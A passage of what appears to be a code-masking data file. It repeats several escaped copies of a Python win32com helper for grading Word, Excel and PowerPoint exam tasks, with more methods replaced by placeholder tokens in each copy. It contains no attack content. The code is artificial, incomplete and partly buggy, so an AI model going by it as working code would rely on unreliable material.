dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n <function token>\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n <function token>\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n <function token>\n <function token>\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = 